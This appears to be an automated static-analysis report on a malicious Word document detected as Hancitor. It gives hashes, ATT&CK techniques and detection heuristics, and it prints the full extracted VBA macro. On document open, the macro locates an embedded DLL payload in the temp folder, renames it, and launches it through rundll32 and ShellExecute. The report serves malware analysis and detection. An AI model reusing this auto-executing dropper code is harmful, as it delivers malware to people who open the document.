Win.Packed.Hancitor-9909883-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 a2de6dcac5dbe401…

MALICIOUS

Office (OLE)

1.16 MB Created: 2021-06-16 08:33:00 Authoring application: Microsoft Office Word First seen: 2021-06-28
MD5: 732874471d19ad87f0a6df3d724d2bc5 SHA-1: 791499b02a8da96d888dcb08c166edcda8f934ec SHA-256: a2de6dcac5dbe401dc233e769d6ff9de0db091310e4c07db4d9a6a46416fd3d2
530 Risk Score

Malware Insights

Win.Packed.Hancitor-9909883-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro attempts to execute a DLL named 'omsh.dll' using 'rundll32.exe'. The macro also embeds and extracts a PE executable, identified by ClamAV as Win.Packed.Hancitor-9909883-0. The presence of ShellExecute, VirtualAlloc, VirtualProtect, LoadLibrary, and GetProcAddress API calls, along with the embedded executable and the ClamAV signature, strongly indicate a malicious payload delivery mechanism.

Heuristics 14

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Win.Packed.Hancitor-9909883-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Packed.Hancitor-9909883-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set vbvcx = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2064 bytes
SHA-256: 32d4782c1de3ef1d5ccba8fb22777ead1c5a8d3e66f743e83e296bf991dbbc7c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
bbbb = "rundl"
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(vcbc & "\omsh.dll") = "" Then
Call yyy

Call hdhdd
If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l32"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\omsh.dll,GYNRVUGKJUT", _
     vbNullString, 1
End If
End If
End Sub



Sub hdhdd()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)

 Dim vbvcx As Object
   Set vbvcx = CreateObject("Scripting.FileSystemObject")
Call Search(vbvcx.GetFolder(usx), hdv)

End Sub

Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub




Attribute VB_Name = "Module1"

Sub nam(pafs As String)
Dim uu As String
uu = Options.DefaultFilePath(wdUserTemplatesPath)
Name pafs As uu & "\omsh.dll"
End Sub




 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "omh.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub
embedded_office_0008f46e.exe embedded-pe Office MZ+PE at offset 0x8F46E 625554 bytes
SHA-256: e21e3a71250dae2b0d897eedb86c87c22ae3eb6d2a36c1e3c6575ca23b22e34c
Detection
ClamAV: Win.Packed.Hancitor-9909883-0
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1685312660/Ole10Native 592172 bytes
SHA-256: 1ff1aaea1047cd530c26f4323a8f53f552ac2f0603bd0bb4dcb0211c239058d4
Detection
ClamAV: Win.Packed.Hancitor-9909883-0
Obfuscation or payload: unlikely
ole10native_00_omh.dll ole-package-payload OLE Ole10Native payload: ObjectPool/_1685312660/Ole10Native; display_name=omh.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\omh.dll; temp_path=; def_file= 591872 bytes
SHA-256: 93adbff8c5a654cd74f0b3fc714d15ca9699e89edcb713b35119ca3f132ae748
Detection
ClamAV: Win.Packed.Hancitor-9909883-0
Obfuscation or payload: unlikely

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